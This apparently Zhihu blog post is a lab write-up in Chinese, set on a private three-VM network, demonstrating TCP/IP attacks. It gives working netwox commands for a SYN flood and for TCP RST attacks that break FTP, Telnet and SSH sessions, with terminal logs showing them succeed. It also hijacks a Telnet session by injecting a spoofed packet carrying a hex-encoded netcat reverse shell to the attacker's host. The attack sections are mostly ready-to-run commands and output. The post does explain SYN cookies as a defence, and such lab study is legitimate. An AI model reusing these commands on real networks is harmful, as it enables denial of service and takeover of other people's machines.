網路安全live第一期:TCP-IP攻擊

本期live互動、答疑相關問題歸檔:

【網路安全】TCP-IP協議攻擊?

www.zhihu.com圖標


TCP-IP攻擊

概述

1. SYN-Flooding攻擊效果,受害者系統卡死.

2. TCP-RST攻擊實現已經建立的TCP連接斷開.

3. TCP會話劫持,劫持TCP會話,並實現反向Shell.

實驗環境

1. 三台Linux系統主機,一台作為攻擊者,一台作為受害者,一台作為觀察者.

2. 為了簡化TCP序列號和源埠號的「猜測」,實驗處於同一區域網內,你可以使用嗅探器來獲取受害者信息.

SYN-Flooding攻擊

1. SYN-Flooding攻擊原理

SYN-Flooding是DoS攻擊的一種,攻擊者向受害者的TCP埠發送很多SYN請求,但攻擊者無意完成三次握手過程.

攻擊者要麼使用欺騙性的假的IP地址,要麼不要繼續完成整個三次握手過程.

通過這種攻擊,攻擊者可以淹沒用於半連接的受害者隊列,即已完成SYN,SYN-ACK但尚未得到最終ACK的連接.

當這個隊列已滿時,受害者不能再進行任何連接.

正常三次握手過程:

client --- serviceSYN --> <-- SYN-ACKACK --->

在Linux中,我們可以使用以下命令檢查

命令:#sysctl -q net.ipv4.tcp_max_syn_backlog root@gt:/home/git/Keep-learning/mySeedLab# sysctl -q net.ipv4.tcp_max_syn_backlognet.ipv4.tcp_max_syn_backlog = 512

我們可以使用命令「netstat -na」來檢查隊列的使用情況,即與監聽埠相關聯的半連接的數量.

這種半連接的狀態是SYN-RECV。如果三次握手完成,則連接的狀態將為ESTABLISHED.

在這個任務中,你需要演示SYN-Flooding攻擊:

您可以使用Netwox來執行攻擊,然後使用嗅探器捕獲攻擊性數據包.

在攻擊發生時,在受害機器上運行「netstat -na」命令,並將結果與攻擊前的結果進行比較.

2. Netwox 76簡介

標題:Synflood用法:netwox 76 -i ip -p port [-s spoofip]參數:-i | --dst-ip ip 目標IP地址-p | --dst-port port 目標埠號-s | --spoofip spoofip IP欺騙初始化類型

3. SYN Cookie防禦機制

如果你的攻擊看起來不成功,你可以檢查是否啟用了SYN cookie機制.

SYN cookie是抵抗SYN-Flooding的防禦機制.

防禦原理簡介:

在TCP伺服器收到TCP SYN包並返回TCP SYN+ACK包時,不分配一個專門的數據區,

而是根據這個SYN包計算出一個cookie值.

在收到TCP ACK包時,TCP伺服器在根據那個cookie值檢查這個TCP ACK包的合法性.

如果合法,再分配專門的數據區進行處理未來的TCP連接.

你可以使用sysctl命令打開/關閉SYN cookie機制:

#sysctl -a | grep cookie(顯示SYN cookie標誌)#sysctl -w net.ipv4.tcp_syncookies = 0(關閉SYN cookie)#sysctl -w net.ipv4.tcp_syncookies = 1(打開SYN cookie)

4. 實驗結果分析

攻擊者:192.168.59.1受害者:192.168.59.144攻擊者終端對受害者進行SYN-Flooding打擊:# netwox 76 -i 192.168.59.144 -p 80實驗現象:受害者系統出現卡死狀態.

比較`netstat -na`前後狀態如下:

產生大量的TCP半連接,阻塞了隊列,導致後續正常TCP連接無法建立!!

[04/17/2018 16:41] seed@ubuntu:~$ diff 1.txt 2.txt 5a6,261> tcp 0 0 192.168.59.144:80 253.138.146.184:9358 SYN_RECV > tcp 0 0 192.168.59.144:80 246.55.107.172:50273 SYN_RECV > tcp 0 0 192.168.59.144:80 196.23.102.181:5583 SYN_RECV > tcp 0 0 192.168.59.144:80 242.22.15.17:45979 SYN_RECV > tcp 0 0 192.168.59.144:80 246.166.91.206:61644 SYN_RECV > tcp 0 0 192.168.59.144:80 249.212.122.218:23424 SYN_RECV > tcp 0 0 192.168.59.144:80 251.32.218.10:56419 SYN_RECV > tcp 0 0 192.168.59.144:80 248.235.192.194:41439 SYN_RECV > tcp 0 0 192.168.59.144:80 241.118.133.147:19187 SYN_RECV > tcp 0 0 192.168.59.144:80 242.23.168.166:21253 SYN_RECV > tcp 0 0 192.168.59.144:80 247.207.89.108:45839 SYN_RECV > ...........................................................................

TCP-RST攻擊

1. FTP協議

# service vsftpd start

2. TELNET協議

# /etc/init.d/openbsd-inetd start

3. SSH協議

# /etc/init.d/ssh start

4. Newox 78簡介

標題:重置每個TCP數據包用法:netwox 78 [-d device] [-f filter] [-s spoofip]參數:-d | --device device名稱{Eth0}-f | --filter filter pcap過濾器-s | --spoofip spoofip IP欺騙初始化類型{linkbraw}

5. 實驗結果分析

- FTP

FTP伺服器地址:`192.168.59.146/24`

FTP客戶端地址:`192.168.59.144/24`

攻擊者地址:`192.168.59.1/24`

攻擊者終端對受害者進行TCP-RST打擊:

# netwox 78 -d vmnet8

結果顯示:已經建立的TCP連接斷開.

[04/17/2018 23:28] seed@ubuntu:~$ ftp 192.168.59.146Connected to 192.168.59.146.220 (vsFTPd 3.0.3)Name (192.168.59.146:seed): gu331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp> ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.drwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Desktopdrwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Documentsdrwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Downloadsdrwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Musicdrwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Picturesdrwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Publicdrwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Templatesdrwxr-xr-x 2 1000 1000 4096 Apr 16 16:32 Videos226 Directory send OK.ftp>ftp> ls421 Service not available, remote server has closed connectionftp>

- Telnet

Telnet伺服器地址:`192.168.59.146/24`

Telnet客戶端地址:`192.168.59.144/24`

攻擊者地址:`192.168.59.1/24`

攻擊者終端對受害者進行TCP-RST打擊:

# netwox 78 -d vmnet8

結果顯示:已經建立的TCP連接斷開.

[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146Trying 192.168.59.146...telnet: Unable to connect to remote host: Connection refused[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146Trying 192.168.59.146...Connected to 192.168.59.146.Escape character is ^].Ubuntu 16.04.4 LTSubuntu login: guPassword:Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)gu@ubuntu:~$gu@ubuntu:~$ lsDesktop Downloads Music Public VideosDocuments examples.desktop Pictures Templatesgu@ubuntu:~$gu@ubuntu:~$ Connection closed by foreign host.[04/18/2018 00:28] seed@ubuntu:~$

- SSH

SSH伺服器地址:`192.168.59.146/24`

SSH客戶端地址:`192.168.59.144/24`

攻擊者地址:`192.168.59.1/24`

攻擊者終端對受害者進行TCP-RST打擊:

# netwox 78 -d vmnet8

結果顯示:已經建立的TCP連接斷開.

[04/18/2018 00:40] seed@ubuntu:~$ ssh gu@192.168.59.146gu@192.168.59.146s password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)Last login: Wed Apr 18 00:27:06 2018 from 192.168.59.144gu@ubuntu:~$ lsDesktop Downloads Music Public VideosDocuments examples.desktop Pictures Templatesgu@ubuntu:~$ gu@ubuntu:~$ gu@ubuntu:~$ Write failed: Broken pipe[04/18/2018 00:41] seed@ubuntu:~$

TCP會話劫持

1. 會話劫持簡介

TCP會話劫持攻擊的目標是通過向該會話中注入惡意內容來劫持兩名受害者之間的現有TCP連接(會話).

如果這個連接是一個telnet會話,攻擊者可以在這個會話中注入惡意命令(例如刪除重要文件),導致受害者執行惡意命令.

2. Wireshark簡介

如果您使用Wireshark觀察網路流量,當Wireshark顯示TCP序列號時,

默認情況下會顯示相對序列號,它等於實際序列號減去初始序列號.

如果想查看包中的實際序列號,則需要右鍵單擊Wireshark輸出的TCP部分,

然後選擇"Protocol Preference". 在彈出窗口中,取消選"Relative Sequence Number"選項.

3. Netwox 40簡介

標題: Spoof Ip4Tcp packet用法: netwox 40 [-l ip] [-m ip] [-o port] [-p port] [-q uint32] [-B]參數: -c|--ip4-tos uint32 IP4 tos {0} -e|--ip4-id uint32 IP4 id (rand if unset) {0} -f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved -g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag -h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag -i|--ip4-offsetfrag uint32 IP4 offsetfrag {0} -j|--ip4-ttl uint32 IP4 ttl {0} -k|--ip4-protocol uint32 IP4 protocol {0} -l|--ip4-src ip IP4 src {172.16.27.1} -m|--ip4-dst ip IP4 dst {5.6.7.8} -n|--ip4-opt ip4opts IPv4 options -o|--tcp-src port TCP src {1234} -p|--tcp-dst port TCP dst {80} -q|--tcp-seqnum uint32 TCP seqnum (rand if unset) {0} -r|--tcp-acknum uint32 TCP acknum {0} -s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1 -t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2 -u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3 -v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4 -w|--tcp-cwr|+w|--no-tcp-cwr TCP cwr -x|--tcp-ece|+x|--no-tcp-ece TCP ece -y|--tcp-urg|+y|--no-tcp-urg TCP urg -z|--tcp-ack|+z|--no-tcp-ack TCP ack -A|--tcp-psh|+A|--no-tcp-psh TCP psh -B|--tcp-rst|+B|--no-tcp-rst TCP rst -C|--tcp-syn|+C|--no-tcp-syn TCP syn -D|--tcp-fin|+D|--no-tcp-fin TCP fin -E|--tcp-window uint32 TCP window {0} -F|--tcp-urgptr uint32 TCP urgptr {0} -G|--tcp-opt tcpopts TCP options -H|--tcp-data mixed_data mixed data

4. 實驗結果分析

Telnet伺服器地址:`192.168.59.148/24`

Telnet客戶端地址:`192.168.59.146/24`

攻擊者地址:`192.168.59.1/24`

攻擊者終端對受害者進行TCP會話劫持:

我們要偽造發下一個包:

所以直接採用nextseq作為下一個包的ack,採用ack作為下一個包的seq.

最後一個Telnet數據包內容如下:

我們偽造向伺服器`192.168.59.148`發送`ls `命令,

將`ls`轉換成16進位並加上`
`的16進位數得到6c730d00,

通過netwox構造我們的攻擊指令如下:

netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46088 --tcp-dst 23 --tcp-seqnum 1362571669 --tcp-acknum 644316190 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"

在wireshark上顯示抓包數據如下:

我們成功的發送了ls !!!

我們成功的獲取到了伺服器發送的數據 !!!

來創建我們的肉雞~

現在我們來通過NC反彈一個Shell,來控制我們受害者:

首先是構造NC命令:

攻擊者:nc -lp 10010 -vvv受害者:nc 192.168.59.1 10010 -c /bin/sh創建NC攻擊語句:netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46098 --tcp-dst 23 --tcp-seqnum 1600031421 --tcp-acknum 830921755 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6e63203139322e3136382e35392e31203130303130202d63202f62696e2f73680d00"

實驗結果如圖:

首先看結果:我們成功拿到了伺服器上的用戶gu的所有許可權!

咱們再來看看抓包數據,通過抓包數據,你可以看到最後一條Telnet的TCP數據,通過這些數據,就可以很方便通過Netwox構造攻擊語句了!!


推薦閱讀:

Snort VS Suricata
黑客兩小時捲走13000美金,MyEtherWallet DNS劫持事件深度分析
做網路不要有一夜暴富的心態!
《網路安全法》中值得關注的幾點關鍵內容
博彩借錢風暴(朋友QQ被盜):我是如何反擊詐騙犯!

TAG:黑客Hacker | 網路安全 | 信息安全 |